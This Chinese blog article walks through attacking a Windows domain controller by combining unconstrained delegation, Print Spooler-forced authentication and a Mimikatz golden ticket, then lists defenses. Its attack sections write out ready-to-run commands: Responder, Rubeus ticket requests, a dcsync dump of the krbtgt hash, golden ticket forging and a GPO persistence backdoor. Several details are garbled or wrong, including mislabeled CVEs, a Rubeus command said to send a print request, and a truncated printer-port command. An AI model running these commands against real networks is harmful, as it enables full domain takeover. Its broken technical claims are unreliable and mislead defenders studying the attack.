logo

非约束委派+Spooler”组合攻击:黄金票据窃取域控实战解析

作者:快去debug2025.09.19 18:14浏览量:0

简介:本文深入剖析了利用非约束性委派与Spooler打印机服务漏洞,结合Mimikatz工具伪造黄金票据攻击域控的完整技术路径,从原理验证到防御策略提供系统性指导。

一、攻击背景与核心原理

1.1 非约束性委派的安全隐患

非约束性委派(Unconstrained Delegation)是Windows域环境中一种特殊的身份委托机制,允许服务账户将客户端的TGS(Ticket Granting Service)票据转发至任意服务。该机制设计初衷是简化跨服务认证流程,但存在致命缺陷:攻击者一旦控制具备非约束性委派权限的服务账户,即可捕获高权限用户的TGS票据

典型攻击场景中,攻击者通过社会工程学或漏洞利用获取某个服务账户(如Web服务器)的控制权。若该账户启用了非约束性委派,当域管理员登录该服务时,其TGS票据会被存储在服务端的LSASS进程中。攻击者可通过内存转储技术提取该票据,进而伪造任意服务的访问权限。

1.2 Spooler服务的利用价值

Windows Print Spooler服务是操作系统默认启用的核心组件,负责管理打印任务。该服务存在两个关键特性使其成为攻击跳板:

  • 高权限运行:默认以SYSTEM权限执行
  • NTLM中继漏洞:CVE-2021-1675/CVE-2021-34527漏洞允许攻击者通过特制打印请求触发NTLM认证,并将认证流量重定向至其他服务

当Spooler服务运行在具备非约束性委派的服务器上时,攻击者可构造恶意打印任务触发域控的NTLM认证,同时利用非约束性委派捕获域控返回的TGS票据。

二、攻击实施步骤

2.1 环境准备与信息收集

执行攻击前需完成以下信息收集:

  1. # 使用PowerView查找非约束性委派账户
  2. Import-Module PowerView.ps1
  3. Get-NetUser -Unconstrained | Select-Object samaccountname,userprincipalname
  4. # 查找启用了Spooler服务的服务器
  5. Get-NetComputer -Properties operatingsystem | Where-Object {$_.operatingsystem -like "*Server*"} |
  6. ForEach-Object {
  7. if (Test-NetConnection -ComputerName $_.name -Port 445 -ErrorAction SilentlyContinue) {
  8. $services = Get-WmiObject -Class Win32_Service -ComputerName $_.name | Where-Object {$_.name -eq "Spooler"}
  9. if ($services) { Write-Host "$($_.name) 运行着Spooler服务" }
  10. }
  11. }

2.2 触发NTLM认证并捕获票据

利用Spooler漏洞触发域控NTLM认证的完整流程:

  1. 在攻击机上搭建恶意SMB服务器:

    1. # 使用Responder监听NTLM认证
    2. sudo responder -I eth0 -v
  2. 通过Spooler服务触发认证:
    ```powershell

    使用Rubeus生成恶意打印请求

    .\Rubeus.exe asktgt /user:DC$ /domain:contoso.com /rc4: /ptt

    将生成的票据导入当前会话

    .\Rubeus.exe ptt /ticket:

通过Spooler服务触发到恶意SMB的认证

Add-PrinterPort -Name “MALICIOUS_PORT” -PrinterHostAddress “

  1. ## 2.3 黄金票据伪造
  2. 捕获域控的TGS票据后,使用Mimikatz伪造黄金票据:
  3. ```powershell
  4. # 提取krbtgt账户的NTLM hash
  5. .\mimikatz.exe "lsadump::dcsync /domain:contoso.com /user:krbtgt" exit
  6. # 伪造黄金票据
  7. .\mimikatz.exe "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-... /krbtgt:<hash> /ptt" exit

伪造的黄金票据具有以下特性:

  • 有效期长达10年
  • 可访问域内任意服务
  • 绕过常规Kerberos认证限制

三、防御策略与检测方法

3.1 预防性措施

  1. 禁用非约束性委派

    1. # 通过ADSI编辑器修改账户属性
    2. Set-ADAccountControl -Identity "ServiceAccount" -TrustedForDelegation $false
  2. 限制Spooler服务权限

  • 使用组策略禁用非必要服务器上的Spooler服务
  • 对运行Spooler的服务器实施网络隔离
  1. 加强票据管理
  • 设置Kerberos票据最短有效期(默认10小时)
  • 启用Kerberos AES加密(替代RC4-HMAC)

3.2 检测方法

  1. 异常票据使用检测

    1. -- 查询4624日志中来自非常用IP的登录事件
    2. SELECT * FROM SecurityEvent
    3. WHERE EventID = 4624 AND IpAddress NOT IN ('192.168.1.1','10.0.0.1')
  2. Spooler服务异常行为监控

  • 监控添加异常打印端口的操作
  • 检测到非打印服务器的445端口出站连接
  1. 黄金票据特征检测
  • 票据有效期超过常规值(>10小时)
  • 票据包含非标准加密类型(如RC4-HMAC)

四、实战案例分析

某金融企业遭遇的典型攻击链:

  1. 攻击者通过钓鱼邮件获取Web服务器权限
  2. 发现该服务器启用了非约束性委派
  3. 利用Spooler漏洞触发域控认证,捕获DC$账户的TGS
  4. 伪造黄金票据后横向移动至财务系统

该案例暴露的防御缺陷:

  • 未禁用默认启用的非约束性委派
  • Spooler服务未实施最小权限原则
  • 缺乏对高价值票据的审计监控

五、进阶攻击技术

5.1 跨域信任攻击

当存在双向信任关系时,攻击者可利用获取的票据访问其他域的资源:

  1. # 使用跨域票据访问资源
  2. .\mimikatz.exe "kerberos::list /export" exit
  3. # 将导出的票据用于访问其他域的SMB共享

5.2 持久化控制

通过修改GPO实现持久化:

  1. <!-- 在组策略中添加启动脚本 -->
  2. <GPO name="PersistentBackdoor">
  3. <StartupScript>powershell.exe -exec bypass -file C:\temp\backdoor.ps1</StartupScript>
  4. </GPO>

六、总结与建议

该攻击组合的防范需要构建多层次防御体系:

  1. 基础设施层:禁用不必要的服务委派,实施网络分段
  2. 监控层:部署UEBA系统检测异常票据使用
  3. 响应层:建立自动化隔离机制,当检测到黄金票据使用时立即隔离受影响主机

建议企业定期执行以下安全检查:

  • 每月审计非约束性委派账户
  • 每季度验证Spooler服务的必要性
  • 每年进行红队演练测试防御效果

通过理解这种高级攻击技术,安全团队能够更有效地设计防御策略,在攻击发生前识别潜在风险,在攻击进行时快速响应,最终构建更加安全的域环境。

相关文章推荐

发表评论